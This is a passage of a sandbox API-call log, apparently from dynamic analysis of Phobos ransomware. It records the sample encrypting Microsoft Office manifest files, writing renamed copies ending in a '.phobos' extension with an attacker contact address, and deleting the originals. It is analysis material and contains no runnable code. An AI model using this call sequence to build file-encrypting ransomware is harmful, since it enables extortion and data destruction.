lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0xc3863, lpOverlapped=0x0) returned 1 [0051.916] CryptEncrypt (in: hKey=0x10cbf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xc3870, dwBufLen=0xc3870 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0xc3870) returned 1 [0051.918] WriteFile (in: hFile=0x2e4, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0xc3870, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0xc3870, lpOverlapped=0x0) returned 1 [0051.929] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cc30) returned 1 [0051.929] CryptSetKeyParam (hKey=0x10cc30, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0051.929] CryptEncrypt (in: hKey=0x10cc30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x90, dwBufLen=0x90 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x90) returned 1 [0051.929] CryptDestroyKey (hKey=0x10cc30) returned 1 [0051.929] WriteFile (in: hFile=0x2e4, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x142, lpOverlapped=0x0) returned 1 [0051.929] CryptDestroyKey (hKey=0x10cbf0) returned 1 [0051.929] CloseHandle (hObject=0x318) returned 1 [0051.929] CloseHandle (hObject=0x2e4) returned 1 [0051.942] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0000-1000-0000000ff1ce.xml")) returned 1 [0052.077] SetEvent (hEvent=0x2e8) returned 1 [0052.077] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0052.077] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0052.077] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=1261) returned 1 [0052.077] CloseHandle (hObject=0x31c) returned 1 [0052.077] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml")) returned 0x220 [0052.077] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0052.077] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0052.078] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0052.078] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0052.078] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0052.078] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10ccb0) returned 1 [0052.078] CryptSetKeyParam (hKey=0x10ccb0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0052.078] ReadFile (in: hFile=0x31c, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x4ed, lpOverlapped=0x0) returned 1 [0052.096] CryptEncrypt (in: hKey=0x10ccb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x4f0, dwBufLen=0x4f0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x4f0) returned 1 [0052.096] WriteFile (in: hFile=0x2e4, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x4f0, lpOverlapped=0x0) returned 1 [0052.097] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cdf0) returned 1 [0052.097] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0052.097] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x90, dwBufLen=0x90 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x90) returned 1 [0052.097] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0052.097] WriteFile (in: hFile=0x2e4, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x142, lpOverlapped=0x0) returned 1 [0052.097] CryptDestroyKey (hKey=0x10ccb0) returned 1 [0052.097] CloseHandle (hObject=0x31c) returned 1 [0052.097] CloseHandle (hObject=0x2e4) returned 1 [0052.098] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0016-0409-1000-0000000ff1ce.xml")) returned 1 [0052.099] SetEvent (hEvent=0x2e8) returned 1 [0052.099] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0052.099] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0052.099] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=496513) returned 1 [0052.100] CloseHandle (hObject=0x2e4) returned 1 [0052.100] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml")) returned 0x220 [0052.100] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0052.100] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0052.100] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0052.100] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0052.100] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0052.100] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10d0f0) returned 1 [0052.100] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0052.100] ReadFile (in: hFile=0x2e4, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x79381, lpOverlapped=0x0) returned 1 [0052.123] CryptEncrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x79390, dwBufLen=0x79390 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x79390) returned 1 [0052.124] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x79390, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x79390, lpOverlapped=0x0) returned 1 [0052.132] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cb70) returned 1 [0052.132] CryptSetKeyParam (hKey=0x10cb70, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0052.132] CryptEncrypt (in: hKey=0x10cb70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x90, dwBufLen=0x90 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x90) returned 1 [0052.132] CryptDestroyKey (hKey=0x10cb70) returned 1 [0052.133] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x142, lpOverlapped=0x0) returned 1 [0052.133] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0052.133] CloseHandle (hObject=0x2e4) returned 1 [0052.133] CloseHandle (hObject=0x31c) returned 1 [0052.143] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0000-1000-0000000ff1ce.xml")) returned 1 [0052.148] SetEvent (hEvent=0x2e8) returned 1 [0052.148] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0052.148] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0052.148] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=1261) returned 1 [0052.148] CloseHandle (hObject=0x31c) returned 1 [0052.149] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml")) returned 0x220 [0052.149] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0052.149] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0052.149] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0052.149] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0052.149] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0052.150] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10caf0) returned 1 [0052.150] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0052.150] ReadFile (in: hFile=0x31c, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x4ed, lpOverlapped=0x0) returned 1 [0052.155] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x4f0, dwBufLen=0x4f0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x4f0) returned 1 [0052.155] WriteFile (in: hFile=0x2e4, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x4f0, lpOverlapped=0x0) returned 1 [0052.156] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cbf0) returned 1 [0052.156] CryptSetKeyParam (hKey=0x10cbf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0052.156] CryptEncrypt (in: hKey=0x10cbf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x90, dwBufLen=0x90 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x90) returned 1 [0052.156] CryptDestroyKey (hKey=0x10cbf0) returned 1 [0052.156] WriteFile (in: hFile=0x2e4, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x142, lpOverlapped=0x0) returned 1 [0052.156] CryptDestroyKey (hKey=0x10caf0) returned 1 [0052.156] CloseHandle (hObject=0x31c) returned 1 [0052.156] CloseHandle (hObject=0x2e4) returned 1 [0052.157] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0018-0409-1000-0000000ff1ce.xml")) returned 1 [0052.158] SetEvent (hEvent=0x2e8) returned 1 [0052.158] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0052.158] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0052.301] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=253712) returned 1 [0052.301] CloseHandle (hObject=0x31c) returned 1 [0052.301] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml")) returned 0x220 [0052.301] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0052.301] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0052.301] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0052.301] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0052.302] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0052.314] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10d1f0) returned 1 [0052.314] CryptSetKeyParam (hKey=0x10d1f0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0052.314] ReadFile (in: hFile=0x31c, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x3df10, lpOverlapped=0x0) returned 1 [0052.334] CryptEncrypt (in: hKey=0x10d1f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x3df20, dwBufLen=0x3df20 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x3df20) returned 1 [0052.334] WriteFile (in: hFile=0x2e4, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x3df20, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x3df20, lpOverlapped=0x0) returned 1 [0052.339] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f758 | out: phKey=0x2d1f758*=0x10cf70) returned 1 [0052.339] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0052.339] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x90, dwBufLen=0x90 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x90) returned 1 [0052.339] CryptDestroyKey (hKey=0x10cf70) returned 1 [0052.339] WriteFile (in: hFile=0x2e4, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x142, lpOverlapped=0x0) returned 1 [0052.339] CryptDestroyKey (hKey=0x10d1f0) returned 1 [0052.339] CloseHandle (hObject=0x31c) returned 1 [0052.339] CloseHandle (hObject=0x2e4) returned 1 [0052.344] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0000-1000-0000000ff1ce.xml")) returned 1 [0052.359] SetEvent (hEvent=0x2e8) returned 1 [0052.359] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2d1f800 | out: pbBuffer=0x2d1f800) returned 1 [0052.359] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0052.362] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2d1f7a0 | out: lpFileSize=0x2d1f7a0*=1261) returned 1 [0052.362] CloseHandle (hObject=0x2e4) returned 1 [0052.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml")) returned 0x220 [0052.362] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0052.362] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0052.363] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0052.363] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1f740 | out: lpNewFilePointer=0x0) returned 1 [0052.363] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0019-0409-1000-0000000ff1ce.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0052.363] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d1f754 | out: phKey=0x2d1f754*=0x10ccf0) returned 1 [0052.363] CryptSetKeyParam (hKey=0x10ccf0, dwParam=0x1, pbData=0x2d1f800, dwFlags=0x0) returned 1 [0052.363] ReadFile (in: hFile=0x2e4, lpBuffer=0x30ae020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d1f77c, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesRead=0x2d1f77c*=0x4ed, lpOverlapped=0x0) returned 1 [0052.455] CryptEncrypt (in: hKey=0x10ccf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x4f0, dwBufLen=0x4f0 | out: pbData=0x30ae020*, pdwDataLen=0x2d1f718*=0x4f0) returned 1 [0052.455] WriteFile (in: hFile=0x31c, lpBuffer=0x30ae020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2d1f760, lpOverlapped=0x0 | out: lpBuffer=0x30ae020*, lpNumberOfBytesWritten=0x2d1f760*=0x4f0, lpOverlapped=0x0) returned 1 [0052.457] CryptImportKey (in: hProv=0xe6710, pbData=0x2d1f6ec, dwDataLen=0x4c, hPubKey=0x0, 